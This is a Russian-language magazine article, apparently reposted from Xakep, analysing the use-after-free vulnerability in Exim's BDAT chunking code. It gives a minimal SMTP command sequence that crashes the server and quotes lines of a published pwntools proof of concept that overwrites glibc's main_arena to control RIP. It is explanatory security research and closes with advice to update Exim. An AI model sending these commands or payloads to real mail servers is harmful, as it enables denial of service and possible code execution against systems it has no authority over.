Хакер - Используй, свободно! Как работает уязвимость use-after-free в почтовике Exim
nopaywall

Содержание статьи
Баг был обнаружен исследователем под ником Meh из тайваньской компании Devcore. Проблема связана с некорректной реализацией логики работы при отправке писем частями (чанками). В результате отправки специально сформированного сообщения возникает ошибка типа use-after-free. Уязвимость позволяет атакующему вызвать отказ в обслуживании и даже выполнить произвольный код на целевой системе.
Готовимся к тестированию
Для более удобного исследования начать лучше всего с организации тестового стенда. Я рекомендую использовать Docker, потому что контейнер позволяет быстро поднять и настроить нужное нам окружение.
Чтобы тебе не пришлось возиться, я уже собрал готовый докер-файл, который ты можешь скачать из моего репозитория и быстренько развернуть уязвимую версию Exim.
После запуска контейнера сам сервер запускается командой
/usr/exim/bin/exim -bdf -d+all
Ключ -d+all нужен для отображения на экране подробного лога работы.
Запущенный демон почтового сервера Exim 4.89Также нелишним будет вооружиться отладчиком gdb, чтобы контролировать процесс выполнения приложения. В самом отладчике нужно выполнить команду set follow-fork-mode child, потому что Exim запускается в режиме демона, а при подключении клиента он создает отдельный форк для обработки соединения. Эта опция поможет переключиться на новоиспеченный процесс.
Включение отладки дочерних процессов в gdbЕсли хочешь безболезненно потестить эксплоиты Meh, то рекомендую запустить еще один контейнер, так как в эксплоитах используется библиотека pwntools, которая не завелась у меня в Windows и требует Linux для х64.
docker build -t . pocexim docker run --rm -ti --link=exim4 --hostname=pocexim pocexim /bin/bash
Пара слов о чанкинге
Как и HTTP с его динамическими пакетами, SMTP поддерживает отправку писем частями, без указания точного размера передаваемых данных. За это отвечает механизм из Extended SMTP под названием chunking. Он подробно описан в разделе 4.1 спецификации RFC 3030, где выступает под именем SMTP Service Extensions for Transmission of Large and Binary MIME Messages («расширения протокола SMTP для передачи больших и бинарных сообщений» — перевел как смог!). Передача писем частями впервые была реализована в Exim версии 4.88.
Формат команды для передачи сообщения частями такой:
BDAT <размер_сообщения> <сообщение>
Символом окончания передачи чанка служит точка в начале новой строки. Последний чанк должен иметь нулевую длину или обозначаться кодовым словом LAST.
Подробнее об уязвимости
Самый простой PoC вызывается следующими командами к серверу SMTP.
EHLO localhost MAIL FROM:<test@localhost> RCPT TO:<test@localhost> BDAT 10 . BDAT 0
Сервер будет спамить сообщением с кодом 250, уведомляя, что получен чанк размером 0 байт.
Результат отправки простого PoCПосле череды безуспешных попыток процесс упадет.
Вообще, исследователь выложил две версии работающих PoC эксплоитов. Скачать их можно из треда об уязвимости на «Багзилле» или по прямым ссылкам (одна и другая).
Судя по названию, эксплоит позволяет контролировать регистр RIP. Для того чтобы эксплоит отработал на твоей системе, тебе придется подобрать корректный размер передаваемых данных на первом шаге.
PoC успешно отработалПойдем по порядку. Сначала посмотрим на файл receive.c.
/src/receive.c
1783: if (!store_extend(next->text, oldsize, header_size)) 1784: { 1785: uschar *newtext = store_get(header_size); 1786: memcpy(newtext, next->text, ptr); 1787: store_release(next->text); 1788: next->text = newtext; 1789: } 1790: }
Сервер Exim имеет в своем распоряжении простой инструмент для управления кучей (heap), он располагается в файле store.c. Функция store_extend наряду с store_get и store_release как раз относится к этому инструментарию. Эти три функции и играют ключевую роль в возникновении уязвимости. Если точнее, то это обертки для реальных функций с суффиксами _3.
/src/store.h
30: #define store_extend(addr,old,new) \ 31: store_extend_3(addr, old, new, __FILE__, __LINE__) ... 34: #define store_get(size) store_get_3(size, __FILE__, __LINE__) ... 48: extern void store_release_3(void *, const char *, int); /* so give its */
Первым шагом (после подключения к серверу, конечно) в эксплоите будет отправка пачки невалидных данных в качестве команды. Это нужно для того, чтобы отрегулировать значение переменной yield_length. Она отвечает за оставшийся размер кучи.
poc.py
14: r.sendline('a'*0x1100+'\x7f')
В случае с эксплоитом Meh отправляется 0x1100 символов А. Количество передаваемых данных как раз и нужно подбирать под конкретную систему.
Каждая отправляемая клиентом команда обрабатывается функцией receive_msg. Само содержимое команд находится в next->text. Переменная инициализируется в строке 1671, и под нее выделяются 256 (0х100) байт памяти.
/src/receive.c
1579: BOOL 1580: receive_msg(BOOL extract_recip) ... 1588: int header_size = 256; ... 1668: /* Control block for the next header to be read. */ 1669: 1670: next = store_get(sizeof(header_line)); 1671: next->text = store_get(header_size);
Если переданная команда больше, чем header_size, то выделяется еще один блок памяти.
/src/store.c
143: if (size > yield_length[store_pool]) 144: { 145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size; 146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK; ... 163: if (!newblock) 164: { 165: pool_malloc += mlength; /* Used in pools */ 166: nonpool_malloc -= mlength; /* Exclude from overall total */ 167: newblock = store_malloc(mlength);
Для этого используется стандартная функция из библиотеки glibc malloc.
/src/store.h
36: #define store_malloc(size) store_malloc_3(size, __FILE__, __LINE__)
/src/store.c
508: store_malloc_3(int size, const char *filename, int linenumber) 509: { ... 514: if (!(yield = malloc((size_t)size)))
Эту выделенную дополнительно память назовем «перваякуча». Давай посмотрим, как будет меняться состояние в разные этапы выполнения функции store_get. Текущий блок памяти для работы — это «перваякуча».
/src/store.c
170: if (!chainbase[store_pool]) 171: chainbase[store_pool] = newblock; 172: else 173: current_block[store_pool]->next = newblock; 174: }
Размер выделенной кучи yield_length равен 0x2000.
/src/store.c
176: current_block[store_pool] = newblock; 177: yield_length[store_pool] = newblock->length;
Выделенная память для первого блока heapnext_yield = первая_куча + 0x10
/src/store.c
178: next_yield[store_pool] = 179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK); 180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]); 181: }
next_yield = next_yield + 0x100 = первая_куча + 0x110
/src/store.c
208: next_yield[store_pool] = (void *)((char *)next_yield[store_pool] + size);
Размер выделенной кучи становится равным yield_length = yield_length - 0x100 = 0x1f00.
/src/store.c
209: yield_length[store_pool] -= size;
Второй шаг в эксплоите — это отправка команды BDAT для перехода в режим передачи чанков (CHUNKING). При обработке команды сервером вызывается функция bdat_getc.
poc_v1.py
15: r.sendline('BDAT 1') 16: r.sendline(':BDAT \x7f')
/src/smtp_in.c
464: /* Get a byte from the smtp input, in CHUNKING mode. ... 478: */ ... 480: int 481: bdat_getc(unsigned lim) 482: { ... 570: case BDAT_CMD: 571: { 572: int n;
После того как передан размер чанка, функция bdat_getc пробует прочитать следующую команду.
/src/smtp_in.c
533: /* Expect another BDAT cmd from input. RFC 3030 says nothing about 534: QUIT, RSET or NOOP but handling them seems obvious */ 535: 536: next_cmd:
Так как мы передали DELETE (\x7f) в качестве размера чанка в команде BDAT, то выполнение функции завершается вызовом synprot_error и возвратом ошибки.
/src/smtp_in.c
574: if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) 575: { 576: (void) synprot_error(L_smtp_protocol_error, 501, NULL, 577: US"missing size for BDAT command"); 578: return ERR; 579: }
Функция synprot_error находится в этом же файле smtp_in.c и вызывает store_get, если встречается любой непечатный символ, потому что используется функция string_printing2.
Обработка сообщения об ошибке при парсинге неверного значения размера чанка в команде BDAT/src/smtp_in.c
2843: static int 2844: synprot_error(int type, int code, uschar *data, uschar *errmess) 2845: { ... 2848: log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", 2849: (type == L_smtp_syntax_error)? "syntax" : "protocol", 2850: string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);
/src/macros.h
46: /* For almost all calls to convert things to printing characters, we want to 47: allow tabs. A macro just makes life a bit easier. */ 48: 49: #define string_printing(s) string_printing2((s), TRUE)
В качестве аргумента в store_get передается размер. Он высчитывается следующим образом. Размер команды BDAT \x7f равен шести байтам, подставив это значение в формулу вычисления размера (строка 307), получим:
length + nonprintcount * 3 + 1 => 6 + 1*3 + 1 => 0x0a байт
/src/string.c
304: /* Get a new block of store guaranteed big enough to hold the 305: expanded string. */ 306: 307: ss = store_get(length + nonprintcount * 3 + 1);
После вызова функции мы снова попадаем в store.c (строка 143), так как 0xa < yield_length, то очередного расширения размера heap не будет до тех пор, пока память не закончится или ее размера не будет достаточно для хранения переданных данных.
0xa => 0x10 (выравненный размер)
/src/store.c
55: #define alignment \ 56: ((sizeof(void *) > sizeof(double))? sizeof(void *) : sizeof(double))
/src/store.c
137: if (size % alignment != 0) size += alignment - (size % alignment);
return next_yield = первая_куча + 0x110
next_yield = первая_куча + 0x120
yield_length = 0x1f00 — 0x10 = 0x1ef0
Последним шагом эксплоит отправляет большое количество данных для того, чтобы увеличить размер запрашиваемой памяти.
poc.py
19: s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) 20: r.send(s+ ':\r\n')
Снова попадаем в файл receive.c и читаем отправленные эксплоитом данные. Этим занимается цикл, который начинается на строке 1750.
/src/receive.c
1750: for (;;) 1751: {
А следующее условие как раз содержит код, который и вызывает срабатывание уязвимости use-after-free. Разберем его.
/src/receive.c
1778: if (ptr >= header_size - 4) 1779: {
Когда переданные данные больше или равны 0xFC (0x100-4), мы входим в условие, и затем опять вызывается функция store_extend.
/src/receive.c
1780: int oldsize = header_size; 1781: /* header_size += 256; */ 1782: header_size *= 2; 1783: if (!store_extend(next->text, oldsize, header_size)) 1784: { 1785: uschar *newtext = store_get(header_size); 1786: memcpy(newtext, next->text, ptr); 1787: store_release(next->text); 1788: next->text = newtext; 1789: }
Чему равно значение next->text, мы уже выяснили выше (первая_куча + 0x10), переменная oldsize равна 0x100, а header_size равен 0x100*2, то есть 0x200.
Затем внутри функции store_extend отрабатывает условие.
/src/store.c
276: if ((char *)ptr + rounded_oldsize != (char *)(next_yield[store_pool]) || 277: inc > yield_length[store_pool] + rounded_oldsize - oldsize) 278: return FALSE;
Функция возвращает FALSE, потому что:
next_yield = первая_куча + 0x120
ptr + 0x100 = первая_куча + 0x110
Это значение получилось, потому что в string_printing выделяется дополнительный участок памяти. А значит, в receive_msg возникает дисбаланс размера кучи. Это расхождение фиксится очередным вызовом store_get с аргументом 0х200.
return next_yield = первая_куча + 0x120
next_yield = первая_куча + 0x320
yield_length = 0x1ef0 — 0x200 = 0x1cf0
Затем пользовательские данные копируются в новую кучу.
Теперь посмотрим на реализацию функции store_release. Проблема — как раз в ней. После освобождения кучи остается 0x1cf0 байт. Функция free из библиотеки glibc выполняет освобождение блока памяти, но после ее работы освобожденная память по-прежнему может быть использована. Перед нами уязвимость use-after-free.
/src/store.c
449: store_release_3(void *block, const char *filename, int linenumber) 450: { 451: storeblock *b; 452: 453: /* It will never be the first block, so no need to check that. */ 454: 455: for (b = chainbase[store_pool]; b != NULL; b = b->next) 456: { 457: storeblock *bb = b->next; 458: if (bb != NULL && (char *)block == (char *)bb + ALIGNED_SIZEOF_STOREBLOCK) 459: { 460: b->next = bb->next; ... 482: free(bb); 483: return; 484: }
Среди bb = chainbase->next = первая_куча и в то же время next->text == bb + 0x10. Поскольку эксплоит отправляет большое количество данных, то размер кучи увеличивается постепенно.
store_extend(next->text, 0x200, 0x400) store_extend(next->text, 0x400, 0x800) store_extend(next->text, 0x800, 0x1000)
Увеличение размера выделенной памяти с помощью функции store_extendНо все эти вызовы не удовлетворяют условию из store.c.
/src/store.c
276: if ((char *)ptr + rounded_oldsize != (char *)(next_yield[store_pool]) || 277: inc > yield_length[store_pool] + rounded_oldsize - oldsize) 278: return FALSE;
В результате функция возвращает TRUE, поэтому выполнение не передается в уязвимую ветку кода. А вот когда выполнение доходит до вызова store_extend c аргументами next->text, 0x1000, 0x2000, возвращается FALSE. Так как условие 0x2000-0x1000 > yield_length[store_pool] соблюдается, мы попадаем в вызов store_get(0x2000). В нашем случае 0x2000 > yield_length, и поэтому выполнение программы сворачивает в этот участок кода:
/src/store.c
129: store_get_3(int size, const char *filename, int linenumber) 130: {
Вот мы и добрались до ключевой точки эксплоита. Сначала newblock = current_block = heap1, а затем newblock = newblock->next.
/src/store.c
151: if ( (newblock = current_block[store_pool]) 152: && (newblock = newblock->next) 153: && newblock->length < length ... 176: current_block[store_pool] = newblock; 177: yield_length[store_pool] = newblock->length; 178: next_yield[store_pool] = 179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK); 180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]); 181: }
Во время работы store_get переменные меняются следующим образом: первая_куча->next = fd = main_arena. В библиотеке glibc есть глобальный объект под названием main_arena, он корневой для всей памяти, выделяемой под кучу.
Схематическая структура менеджера кучи heap в Linuxcurrent_block = main_arena
next_yield = main_arena + 0x10
return next_yield = main_arena + 0x10
next_yield = main_arena + 0x2010
Отладка последнего вызова функции store_get перед крашемПосле вызова store_get отрабатывает функция memcpy.
/src/receive.c
1785: uschar *newtext = store_get(header_size); 1786: memcpy(newtext, next->text, ptr); 1787: store_release(next->text);
Переменная newtext содержит значение, которое вернула store_get, и она равна main_arena + 0x10.
Данные, отправленные пользователем, записываются в main_arena. В результате после освобождения памяти и продолжения работы программы выполнение передается на участок памяти по адресу 0xdeadbeef, и процесс падает в SIGSEGV, Segmentation fault.
Краш процесса Exim после успешной эксплуатации. RIP = 0xdeadbeef
Что дальше
Разумеется, это только proof of concept. Для реальной эксплуатации нужно еще попотеть, да и далеко не на каждой системе это будет возможно. В современных дистрибутивах Linux существует защита от атак подобного рода. Но и надеяться только на эти механизмы тоже не стоит, поэтому рекомендую скорее обновить Exim до последней версии, если он стоит на твоей системе.
Нечто похожее было недавно обнаружено в популярной качалке wget. Там тоже вскрылась проблема в алгоритме работы с чанками, только уязвимость была связана с переполнением буфера. Кто знает, где еще может всплыть подобный баг?
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall